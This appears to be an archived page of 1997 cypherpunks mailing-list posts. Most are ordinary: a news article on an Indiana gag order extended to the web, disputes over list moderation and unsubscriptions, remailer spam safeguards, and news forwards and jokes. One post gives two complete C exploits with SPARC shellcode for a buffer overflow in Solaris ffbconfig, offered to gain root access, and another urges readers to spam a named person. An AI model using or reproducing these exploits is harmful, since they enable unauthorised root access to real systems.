December 2003 - cypherpunks-legacy

Indiana judge extends gag order to the Net, from TNNN
by Declan McCullagh 17 Dec '03

17 Dec '03

---------- Forwarded message ---------- Date: Tue, 11 Feb 1997 06:31:28 -0800 (PST) From: Declan McCullagh <declan(a)well.com> To: fight-censorship(a)vorlon.mit.edu Subject: Indiana judge extends gag order to the Net, from TNNN The Netly News Network http://netlynews.com/ Gag On This by Declan McCullagh (declan(a)well.com) February 10, 1997 The point of moving a trial or selecting a jury from a distant county is, of course, to prevent jurors from being influenced by the local media and opinions of the nearby community. But what if the media are global and the community is virtual? That enigma is causing problems for an Indiana couple on trial for reckless homicide in the November 1995 death of their son from meningitis. Bill and Sarah Planck had hoped to demonstrate their innocence through the Net, and so another son created a web site with documents from a counter-lawsuit filed against the county welfare agencies and sheriff's department, detailing how police threatened and intimidated the family. Now the judge presiding over their criminal trial has ordered the Plancks to pull the plug on the site. Madison County judge Fredrick Spencer told me he extended an existing gag order to the Internet because the tort claim notice could influence jurors. "We went two counties away to get the jury. But people in Randolph County have computers and America Online. So to avoid any possible problem, I ordered them to take it off," Spencer said. Spencer says the order was necessary to preserve the integrity of the trial. "It's only the trial that I'm concerned with," he said. "If I don't do what I can, I risk having to do [the trial] over again." Yet as soon as the Plancks yanked the documents offline on January 27, copies sprouted on the web site of a supporter -- beyond the reach of Judge Spencer. Who's right, Spencer or the Plancks? I posed that question to David Post, a professor at Georgetown Law School. "Gag orders may in a way be a thing of the past," he replied. "It becomes an enforcement dilemma with respect to the Internet. It's a hell of a lot easier to enforce that gag order [locally]. You really only have to keep your eye on a very small number of dissemination vehicles," Post said. "Gag orders are violated on occasion, but by and large you have some confidence that they'll be respected. Obviously you can't anymore." Gag orders stem from the right to an impartial jury. "We think that sometimes -- rarely, but sometimes -- that can best be accomplished by controlling the kind of information potential jurors might see. The Net deforms the landscape," Post said. Katharine Liell, the Plancks' attorney, was reluctant to discuss the case for fear of violating the gag order -- which covers her as well. "I'm uncertain what I can and can't say due to the vagueness of the gag order," she said. "Gag orders are supposed to be specific in nature, but I don't understand the nature or breadth of this gag order so I'm not comfortable commenting at this time." The legal question at issue in this prosecution is whether the Plancks are guilty of four felony charges, including reckless homicide and involuntary manslaughter, in the death of Lance Planck from pneumococcal meningitis. The verdict may depend on the answer to one question: Did the Plancks wait too long to call 911? More than the couple, however, is on trial. The case also reveals how a child protection agency can be used as a weapon to threaten parents and divide a family. The mirrored documents tell a sad story of a poor family who lived in a trailer park and home-schooled their eight children, and their long-standing battle with Madison County social workers. The first salvo came in 1992, when a social worker visited the Planck home to investigate the children's alleged vision problems. Based on that visit, a judge ordered that their eyes be examined. A month later, police invaded the Planck home and forcibly removed the children. The tort notice describes other encouters, including tear gas canisters lobbed into their home and warrantless arrests. "I've known the Plancks for a long time," said Brent Tobin, an electrical engineer who mirrored the web site. "I've lived in the town all my life. I know there's nothing going on there. The deputy prosecutor made them out to be religious weirdos, but they're not." "I put up the web site since I don't feel that the county government should have jurisdiction over the World Wide Web. I think there should be freedom of speech. I feel gag orders are a violation of rights," Tobin said. For his part, Judge Spencer emphasized that his gag order "expires at the end of the case. Free speech is an important right and I'm going to be the last person to have a problem with it." What about the mirror site? Has his order accomplished anything? "The Planck supporters are going to put it on there," Spencer replied. "If you're suggesting that I'm tilting at windmills, perhaps you're right." ###

1 0

BCQ B/\ACTb COBKAM!!!
by Secret Squirrel 17 Dec '03

17 Dec '03

COBKU rule!!!

1 0

sci.crypt archive?
by Paul Rubin 17 Dec '03

17 Dec '03

Is anyone on cypherpunks archiving sci.crypt? I'd be interested in getting hold of some articles from some years back... thanks

1 0

Re: Who's Censoring Who?
by John Young 17 Dec '03

17 Dec '03

To Thorn and Cuckoo (great juxtaposition): Your exhortation and rhetoric are deft, but I'm not ready to take sides just yet. In fact, I can't figure what the sides are, if any, in this anti-herd of caterwauling anarchic cats. Instead, I'm relishing and laughing at the spitting and farting contest, and hoping this gameboying will prepare for the genuinely tough battles in high stakes info-wargames. There, wipe and sniff that exhort and rhet.

1 0

Interesting Survey on Computer Security
by Derrick Storren 17 Dec '03

17 Dec '03

This artilce has some interesting info on how bad infosec on the web is. <http://www.infowar.com/infosec/introduction.html> ---DS

1 0

ping
by Lucky Green 17 Dec '03

17 Dec '03

ping -- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi

1 0

Modified Clipper chip - HA!
by Rick Osborne 17 Dec '03

17 Dec '03

For all of you who didn't see the last X-Files ... Mulder made a visit to The Lone Gunman about breaking into some impenetrable system. Byers points out that "Yeah, that system is pretty hard to get into." Mulder then inquires "well how did you guys get in?". Byers replies cooly: "We used a modified Clipper chip we bought back from the Chinese." I didn't stop laughing for 5 minutes ... :) _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ "Women. You can't live with 'em. . . and yet they're everywhere."

1 0

Re: New X-Ray Imager
by Three Blind Mice 17 Dec '03

17 Dec '03

On Tue, 4 Feb 1997, Igor Chudov @ home wrote: > Let's remember though that perception of security applies not > only to passengers, but also to potential terrorists. If they *think* > that they would not be able to bring a bomb easily, they would be less > inclined to do so. Do you seriously believe that a terrorist who wishes to take an explosive device on board a plane fears the security of an airport? It's not possible to put such a thought into anyone but a prole; we are not proles, and they are not proles. The real effect and intent is obvious. --3bmice

1 0

Re: this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

At 03:00 PM 2/10/97 -0800, I wrote: >As of sometime in the last 96 hours I have been forcefully unsubscribed from >this list. This action was not of my free will and not one that I think was ... I forgot to check my mail before sending this. This is not to say that there was mail there, merely that eudora verifies mail by password. Since I had not checked my mail, the last message was unverified. This is to verify it. I sent it, I admit it.

1 0

You guys/gals oughta get a kick outta this guy
by Rick Osborne 17 Dec '03

17 Dec '03

Yet another person who needs a good stern talking to by the nearest cypherpunk --- this guy posted to comp.lang.perl.misc with the following blasphemy, which I luaghed at until I had tears in my eyes. --BEGIN COMPLETE STUPIDITY-- I want to make it executable to protect the source code from being read. I don't want the source code available because I don't want people looking for security holes. --END COMPLETE STUPIDITY-- If anyone wants to spam this guy, or at least show him the error of his ways, his sig explains the necessary info: David K. djk490s(a)nic.smsu.edu _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ If the ionization rate is constant for all ectoplasmic entities, we could really bust some heads! In a spiritual sense, of course.

2 1

Re: Metzger, Denninger square off
by snow 17 Dec '03

17 Dec '03

> At 01:24 PM 2/7/97 -0500, you wrote: > [the proposed new TLDs] > .web Actually a good idea :) A lot of the .com congestion is > from companies that are virtually-hosted for the sole > purpose of running a Web site with the www. prefix. This one might not work. There are a lot of people who seem to think that you need a www.---.--- to get netscape to work. > .nom Nah. Just not classy enough. Now, a .nym TLD... :-) I think they should use .vain.

1 0

Codebreakers delivered OK
by Peter M Allan 17 Dec '03

17 Dec '03

Gary, Thanks for the book, which arrived safely (last week, when I was on leave and tiling my bathroom). Cypherpunks, In mid-December I asked on this list whether people would recommend buying books from Gary Rasmussen. Message-Id: <9612131954.AA28856(a)clare.risley.aeat.co.uk> Subject: Would you send money to Gary Rasmussen ? I got several replies for, and none against. Thanks to those who replied. I am now pleased to add my data point. He has sent my copy of Kahn's Codebreakers. The delay from mid-December was almost entirely caused by banking issues. Money transfers are not as fast or cheap as I think they should be in 1997. Gary tells me he may in future get equipped to take credit cards. His catalogue contains stuff sure to interest anybody with plenty of time. Here is his comment: > NOTE: An additional benefit of ACA membership is eligibility for discounts > on a selection of new (unused) books on the history and practice of > traditional ciphers, codes, and signals intelligence from Classical Crypto > Books. For a free catalog, send email to RagyR(a)aol.com. -- Peter Allan peter.allan(a)aeat.co.uk

1 0

Re: Who's Censoring Who?
by Dale Thorn 17 Dec '03

17 Dec '03

John Young wrote: > To Thorn and Cuckoo (great juxtaposition): > Your exhortation and rhetoric are deft, but I'm not ready to take > sides just yet. In fact, I can't figure what the sides are, if any, in this > anti-herd of caterwauling anarchic cats. > Instead, I'm relishing and laughing at the spitting and farting contest, > and hoping this gameboying will prepare for the genuinely tough > battles in high stakes info-wargames. > There, wipe and sniff that exhort and rhet. I don't want to make any suggestions about having a clue or whatever, but just in case you didn't know, John, I'm not censoring anything, nor is cuckoo, nor is Dr. Vulis, nor are 1300-plus other subscribers to this list. It is all being done by a central "authority". Now you can't figure out who's on what side? Or you just can't decide who to line up with? In case you hadn't noticed, the censorship has been admitted a failure, although the denial from the central "authority" is so thick that some folks on the list will be hoping for Santa to come save them for some time to come.

1 0

Consumer Privacy URL...
by harka＠nycmetro.com 17 Dec '03

17 Dec '03

-----BEGIN PGP SIGNED MESSAGE----- Forwarded message: In> Subject: Consumer Privacy Online In> The January issue of the Computer Law Observer discusses privacy of In> online consumer information. The article is called "Your clickstream In> is showing" and is based upon a report issued by the FTC in January. In> The article can be found under "Current Issue" at In> http://www.lawcircle.com/observer In> There is also an announcement at the site for a new weekly service In> called the Computer Law Observerpro, which provides selected weekly In> articles discussing computer, technology and cyberlaw issues. Ciao Harka ___ Blue Wave/386 v2.30 [NR] -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBMv678jltEBIEF0MBAQE8LAf+NljN3C5JOG3ZF+ugZFWMeLtvu2fTmJPb 32s9VXgg82XdeP1QlEZVtfjHQSznCUCy+7BVAqAera38r6sY6cQzPSqA4nM2vQzH jSahFxXH07zFJ3SRPccTB1QnIm2fcoz7f3u+Y0qFTU+y1arsBCSwl/AFtip4ShtQ jU1zGNnzGMCpxWLJ2gzXkZLAUSZ/RTpph72ByTi3mwczo7hu5I2KCFWrvMSSlxMS FZEZa3EyOatvrmAD2MSWd3lUKL5ubkwfd717V/Hb5zn7UW4Ri4wDohcxR4zxYnm/ 36euGJNrM0aY/CFDu75KNgJiRXc4TDpiFuNYzsnOOeK490xVSSDEHw== =Y0C2 -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption...

1 0

Re: POST: The Frightening Dangers of Moderation
by paul＠fatmans.demon.co.uk 17 Dec '03

17 Dec '03

> You're giong to have to find a way to get me off of your piss-ant mailing > list. Ecouter et repeter: "going" Now, if you didn`t have shit for brains you would have followed the instructions I sent you last time on how to unsubscribe from the cypherpunks mailing list. However, as you evidently have no wit or intelligence whatsoever, nor do you seem able to comprehend anything phrased in standard English here are the instructions in moron. To unsubscribe from the piss-ant motherfuckers mailing list you are giong to have to dooo teh folwoing: Send a piss-ant message to majordomo(a)toad.com with the *MESSAGE BODY* reading exactly as follows: unsubscribe cypherpunks 2ndsun(a)bigfoot.com Either this or contact postmaster(a)bigfoot.com and ask him to mailkill all mailing list traffic for you. Datacomms Technologies web authoring and data security Paul Bradley, Paul(a)fatmans.demon.co.uk Paul(a)crypto.uk.eu.org, Paul(a)cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey"

1 0

this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

As of sometime in the last 96 hours I have been forcefully unsubscribed from this list. This action was not of my free will and not one that I think was perpretrated by those in charge of the list. (I got a response from majordomo concerning who was on and my name wasn't) As I have heard from, and replied to some, others who were forcefully subscribed to cypherpunks, I can only assume that this is part of the same campaign. Please send me any copies of majordomo activity involving my address that was sent in the last 96 hours so that I can determine the culprit myself. I had no intention of removing myself from the list and intend to maintain a member, at least until a superior system with sufficient load is developed. As I just now resubscribed to the list (unedited, although I know that the moderation experiment has ended), I may not see any immediate replies, so please cc me. As to my check with majordomo, I was not checking to see if I had been unsubscribed, but to see if the unedited list still existed. since I stopped receiving mail shortly after, I assumed, falsely, that the unedited list subscribers had been merely dropped.

1 0

Re: this has gone on long enough
by Sean Roach 17 Dec '03

17 Dec '03

At 04:42 PM 2/10/97 -0800, John Gilmore wrote: >Sean Roach said: >> As of sometime in the last 96 hours I have been forcefully unsubscribed from >> this list. This action was not of my free will and not one that I think was >> perpretrated by those in charge of the list. > >Everybody relax, take a deep breath, and calm down a bit. Paranoia seems >epidemic on the list these days. > >I removed your address from the mailing list because it was producing >a bounce message for every message to cypherpunks. I regularly >remove addresses when this occurs; the alternative is to receive >thousands of bounce messages each day from non-working addresses. >I'll append the set of addresses that I removed on the same day >as you, for your edification. > Thank you for the explanation. I had discounted this as a reason as I normally get some warning from the VAX before something like this would be a threat. (My mail won't compress and I have to go in and do it manually.) I had assumed that since I had no trouble with compression that that wasn't the answer. I apologise for jumping to conclusions and I hope that I can check my mail more often. (Only a real hassle during weekends when I am called home from school.) Thanks again for the reassurance. BTW, now that the moderation experiment is over, how do you intend to integrate the lists? Are you going to combine them? Are you going to run them through a filter to eliminate duplications? Are you going to give any warning before the unedited list is eliminated? (no longer needed, since the main list is now a duplicate.) Thanks again, I am naturally suspicious. That's "one" of the reasons that I subscribed to this list to begin with.

1 0

Proposal: alt.cypherpunks (unmoderated)
by gbroiles＠netbox.com 17 Dec '03

17 Dec '03

[This is a courtesy copy of an article posted to Usenet via Deja News] Some people, including myself, believe that the Cypherpunks mailing list (cypherpunks(a)toad.com) running since sometime in 1992, has outgrown the mailing list format and should move to Usenet. The advantages once gained by running as a mailing list (faster propagation, more personal/intimate atmosphere, freedom from Usenet-style flames & spams) are no longer present. Questions about the appropriateness of moderation, moderator liability for various "bad" kinds of messages, and the potential for content control where there is a single point for distribution have become very prominent concerns among list members. It's time to move to Usenet. Hence, this prelude to a newgroup. Two cypherpunk-related newsgroups now exist; mail.cypherpunks and jyu.ohjelmointi.cypherpunks. mail.cypherpunks is unsatisfactory to become a destination for Usenet-originated cypherpunk traffic because its name implies that it's a gateway from a mailing list. This is presently true, but this proposal is intended to create a newsgroup which supplements or replaces the current mailing list. I've got no clue where "jyu.ohjelmointi.cypherpunks" originates, who's in charge of it, or what "jyu.ohjelmointi" is or stands for. Judging from the limited selection of messages which seem to reach DejaNews and AltaVista from it, it suffers from relatively poor propagation. The cypherpunks mailing list currently has approximately 1300 subscribers, sees traffic between 30 and 70 messages per day (est.), and on its better days discusses technological defenses for privacy in an information age. Popular topics include encryption, legal issues around encryption and export control, and the relationship between technology and social control. A sample line for the newsgroups file: alt.cypherpunks Technological defenses for privacy -------------------==== Posted via Deja News ====----------------------- http://www.dejanews.com/ Search, Read, Post to Usenet

1 0

Re: lead remailer is shut down
by Bill Stewart 17 Dec '03

17 Dec '03

At 11:58 AM 2/7/97 -0800, Ed Falk wrote: >Can't remailers be written with basic spam safeguards? I.e. no mass >crossposts, limited # of posts by each individual client per day, etc.? Most remailers have some basic spam safeguards, typically how many messages per day or per session or whatever. They also implement blocking on specific source or destinations, which makes it easier to stop known spam sources and reduce hassle for people who don't want to be spammed. Limited number of posts per source or per destination are less useful, since people use chained remailers - most messages will have a remailer as either the source, destination, or both, so it's fairly common to have lots of messages from one source. Mass crossposts aren't all that bad; if you're running a decent newsreader you'll only see that kind of spam once. The bad ones are multiple identical or nearly-identical messages posted to one or a few newsgroups each, which are harder to detect and much more annoying to the reader. On the other hand, NoCeMs can catch them, if anybody's sending and using them. I don't know how many people have the capability to block on Subject: or message content; I remember getting bouncemails for things that had variants on M AK E M O N E Y F A S T in them, so there are or were other remailers that block those. It's hard to find a good definition of spam, and hard to implement it without keeping lots of extra records you'd probably rather not keep, and spammers who are willing to do work can find out your limits, especially if they're in a policy document somewhere, and evade them, sending as much through each remailer as fits under the radar. Fortunately, most spammers don't bother. Back when I was running a remailer, it was a modified Ghio2 version; I'd fixed some bugs in it, and took the spam detector behavior from highly rude (shutting itself down quietly) to mildly rude (shutting itself down noisily); the basic model was to stop entirely under big spam attacks and let a human fix it up, rather than trying to resolve them subtlely, which is more appropriate for small spamming. The advantage of this approach is that you don't have mysterious message losses; it's all or nothing. (Well, you still get some mysterious losses, but mostly from bugs or interactions with other types of remailers.) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts(a)ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.)

1 0

Security hole in Sloaris 2.X ffbconfig + exploit
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

Mon Feb 10 15:58 EET 1997 Romania "Buffer Overflow" rules. I have found a buffer overflow hole in ffbconfig (Solaris2.X). That allow you to gain root access on your machine. I used an exploit written by Jeremy Elson for gethostbyname() buffer overflow hole (I modified some values to make this work). I dont now yet what in ffbconfig is wrong but Im still diging. So more detailes later. Here's the exploit for Solaris 2.X: ---------------------------------- first ------------------------------------- /* This works on Solaris 2.5 wiz /usr/sbin/ffbconfig */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13" "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e" "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a" "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd4\xff\xff"; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------ end of "ffbcexp25.c" -------------------------------- -------------------------------- second -------------------------------------- /* This works on Solaris 2.4 wiz /usr/sbin/ffbconfig from a Solaris 2.5 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 128 #define EXTRA 256 #define STACK_OFFSET 128 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),so; long_p = (u_long *) buf; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; targ_addr = get_sp() - STACK_OFFSET; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/usr/sbin/ffbconfig", "ffbconfig", "-dev", buf,(char *) 0); perror("execl failed"); } ------------------------------ end of ffbcexp24.c ----------------------------- Cristian Schipor - Computer Science Faculty - Romania - Bucharest Email: skipo(a)math.pub.ro or skipo(a)ns.ima.ro Phone: (401) 410.60.88 PS: "special for STFP"

1 0

Nothing Can Stop the Net
by Duncan Frissell 17 Dec '03

17 Dec '03

Mule Power Used to Install Fiber-Optic Cable February 10, 1997 11.54 a.m. (1654 GMT) SPRINGFIELD, Mo. (AP) -- No manner of modern mechanical technology could get over or around the rugged terrain confronting electricians trying to install fiber optic cable through the Ozarks. So they shifted their sights from high-tech to low-tech and hired Festus, Jake, Red and I.B. -- four Missouri mules -- to string 40 miles of cable through southwestern Missouri. "Today's thought is `fast and done quick and make the big money,"' said mule skinner James King, who works the mules for B&L Electrical Contractors. "A lot of people have forgot the fastest way to get through the country is on a mule or a horse." Even through city traffic, the mules are getting the job done. The idea first came about when Empire District Electric Co. was looking for contractors to install fiber optic cable. The cable was to run along the path of a power line strung in 1912. More than 80 years later, it was deemed inaccessible to vehicles in most places because of steep hills, trees or other impediments, such as chain-link fences. B&L submitted a bid based on doing the work with mules. The estimate was tricky since the company had never used mules. And if they couldn't do the job, a backup plan would have cost much more. "This is extremely rugged terrain. You couldn't get any motorized vehicles in there," said Clint Lam, manager of B&L. "You could build a road through there, but cost-wise, it would be so expensive." Empire didn't know the estimate was based on mule power. But when they learned of the idea, it seemed logical, said Darrell Wilson, Empire's telecommunications foreman. He told colleagues at a recent training seminar about the mules' success. "Everybody thought I was joking," Wilson said. "They thought I meant an ATV, some mechanical 4-wheel drive. They didn't really think it was a four-legged animal. They were a little surprised when I said, `No, I mean a real mule."' The mule skinners hook one end of the cable to an overhead pole and knot the other end to a mule's saddle. Then the animal pulls. All-terrain vehicles are prone to tipping on uneven surfaces, while mules are sure-footed and can jump creeks or chain-link fences. In fact, they worked so well in the rough stuff, they were kept on even when the line reached Springfield, the state's third-largest metropolitan area. "I think we're going to try to vote in a new position in our contract for mule skinner," crew foreman John Agee joked. Dr. Melvin Bradley, of Columbia, a retired University of Missouri professor and an expert on mules, was not surprised to learn of the mules' success. "The mule will go places, over banks and rough terrain and stand up and be able to pull that cable through where horses will have trouble," he said. Festus, at 1,250 pounds the largest of the crew, drew curious glances from motorists as he and skinner King recently hauled cable through exhaust-stained snowbanks near a busy city intersection. Festus wasn't fazed, though he was a bit trailer-sick from the 30-mile commute from Galena. "This is his first day on the job," the hard-hatted King said from the saddle where he wraps the rope or cable being pulled by the mule. Festus can tow up to 14,000 feet of cable, a load weighing more than 1 ton. Some people who saw the mules at work didn't know exactly what they were, which King found remarkable. After all, mules were made Missouri's state animal in 1995. "`Look, ma -- it's a horse!"' King said, mimicking what he's heard from children passing the work crew. "It's a good old Missouri mule."

1 0

Teledesic Looks At SS-18's
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text Sender: investor(a)LunaCity.com To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> From: Michael_Wallis(a)sec.sel.sony.com Reply-To: "Space Investors Mailing List" <space-investors(a)LunaCity.com> Date: Mon, 10 Feb 1997 11:59:44 -0800 Organization: LunaCity BBS - (Clan Zen Relay Network) Mountain View, CA Subject: Teledesic Looks At SS-18's X-Mailserver: Waffle File Server (WFS), Release 3.2.ag X-Article: 285 Teledesic Might Launch With Converted SS-18s Teledesic Corp. is talking with a newly formed Russian-Ukrainian group about launching up to 204 Teledesic satellites into low Earth orbit aboard converted SS-18 missiles. The Dnepr rocket is backed by the Russian and Ukrainian governments. Their space agencies are partners in a joint-venture company to sell commercial launch services. Askond of Moscow and Ukraine's Yuzhnoye State Design Bureau are marketing the Dnepr. Teledesic, a U.S. telecommunications company, plans to place about 900 satellites in space. Michael ------------------------------------------------------------------------- Michael Wallis, Computer Consultant Work: mwallis(a)sec.sel.sony.com http: //www.wallis.com/ Home: mwallis(a)wallis.com --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/

1 0

Re: this has gone on long enough
by John Gilmore 17 Dec '03

17 Dec '03

Sean Roach said: > As of sometime in the last 96 hours I have been forcefully unsubscribed from > this list. This action was not of my free will and not one that I think was > perpretrated by those in charge of the list. Everybody relax, take a deep breath, and calm down a bit. Paranoia seems epidemic on the list these days. I removed your address from the mailing list because it was producing a bounce message for every message to cypherpunks. I regularly remove addresses when this occurs; the alternative is to receive thousands of bounce messages each day from non-working addresses. I'll append the set of addresses that I removed on the same day as you, for your edification. I'll also enclose one of the bounces. If you fix your mail so it doesn't bounce, you are welcome to re-subscribe. John Gilmore 1997/2/9 - gnu - bounces snowdog(a)iconn.net (cp-ann) se03565(a)els.url.es (cp-ann) drjarmon(a)ingr.com (cp-ann) ycz(a)alpha4.cs.nthu.edu.tw yu123110(a)yorku.ca bishop.trish(a)sympatico.ca 106076.1155(a)compuserve.com (by request) security(a)harter.pg.md.us omega(a)bigeasy.com roach_s(a)alph.swosu.edu (cp-unedited) lupus(a)hempseed.com (cp-ann) THRPWC(a)smtpgate.lfwc.lockheed.com al.tan(a)usa.net vickeryk(a)tyrell.net crash(a)eramp.net phreaker(a)scholars.bellevue.edu alexc(a)firefly.net malaficia(a)mindspring.com BadAppleDH(a)aol.com otsge_mail(a)usa.net (for bounces re mecca_inc(a)msn.se) under(a)ground.net >From MAILER-DAEMON Sun Feb 9 20:03:36 1997 Received: from alph.swosu.edu (alph.swosu.edu [164.58.32.9]) by toad.com (8.7.5/8.7.3) with SMTP id UAA17045; Sun, 9 Feb 1997 20:03:33 -0800 (PST) Message-Id: <199702100403.UAA17045(a)toad.com> Date: Sun, 9 Feb 1997 22:03:48 -0600 (CST) From: Postmaster(a)alph.swosu.edu Subject: Undeliverable Mail To: <cypherpunks-errors(a)toad.com> Bad address -- <roach_s> Error -- Message too old: %MAIL-E-SENDERR, error sending to user ROACH_S -MAIL-W-WRITEERR, error writing DKA0:[STDUSERS.ROACH_S]MAIL.MAI -RMS-E-EXT, ACP file extend failed -SYSTEM-F-EXDISKQUOTA, disk quota exceeded -PLI-F-NOMSG, Message number 001EBB8C Start of returned message Received: from toad.com by alph.swosu.edu with SMTP; Sun, 9 Feb 1997 18:03:43 -0600 (CST) Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3) id PAA11855; Sun, 9 Feb 1997 15:55:29 -0800 (PST) Received: from mail.pacifier.com (root(a)mail.pacifier.com [199.2.117.164]) by toad.com (8.7.5/8.7.3) with ESMTP id PAA11850; Sun, 9 Feb 1997 15:55:26 -0800 (PST) Received: from ip250.van8.pacifier.com (ip250.van8.pacifier.com [206.163.4.250]) by mail.pacifier.com (8.8.5/8.8.4) with SMTP id PAA12294 for <cypherpunks(a)toad.com>; Sun, 9 Feb 1997 15:55:23 -0800 (PST) Message-Id: <199702092355.PAA12294(a)mail.pacifier.com> X-Sender: jimbell(a)mail.pacifier.com X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Sun, 09 Feb 1997 15:53:43 -0800 To: cypherpunks(a)toad.com From: jim bell <jimbell(a)pacifier.com> Subject: ComLaw> URGENT!! SET UP IN PROGRESS!! (fwd) Sender: owner-cypherpunks(a)toad.com Precedence: bulk I'm forwarding this from the commonlaw list because of the usage of the name, "cypherpunks." ...

1 0

No Subject
by HEROES 17 Dec '03

17 Dec '03

From: "Curt Denny" <adr016(a)clc.cc.il.us> The heaviest element known to science was recently discovered by GM Research physicists. The element, tentatively named Administratium, has no protons or electrons and thus has an atomic number of zero. However, it does have one neutron, 125 assistant neutrons, 75 vice neutrons, and 111 assistant vice neutrons. This gives it an atomic number of 312. These particles are held together by a force that involves the continuous exchange of meson-like particles known as morons. Since it has no electrons, Administratium is inert. However, it can be detected chemically because it impedes every reaction it comes in contact with. According to the discoverers, a minute amount of Administratium caused one reaction to take four days to complete when it would have normally occurred in less than one second. Administratium has a normal half-life of approximately three years, at which time it does not actually decay, but instead undergoes a reorganization in which assistant neutrons exchange places. Some studies have shown that the atomic mass actually increases after each organization. Research at other laboratories indicates that Administratium occurs naturally in the atmosphere. It tends to concentrate at certain points such as government agencies, large corporations and universities, and can usually be found in the newest, best appointed and best maintained buildings. Scientists point out that Administratium is known to be toxic at any detectable level of concentratitroy any productive reaction where it is allowed to accumulate. Attempts are being made to determine how Administratium can be controlled to prevent irreversible damage, but results to date are not promising. Check us out at: http://www.clc.cc.il.us "There is no limit to the amount of good that people can accomplish if they don't care who gets the credit!" Curtis L. Denny College of Lake County Director of Admission and Records 19351 West Washington Street Grayslake, IL 60030-1198 Phone: (847) 223-6601, Ext. 2384 Fax: (847) 223-1017 E-Mail: CurtDenny(a)clc.cc.il.us ---2143972336-1320482045-855671591=:18392--

1 0

[CRYPTO] CLASSICAL CRYPTOGRAPHTY COURSE
by Brian D Williams 17 Dec '03

17 Dec '03

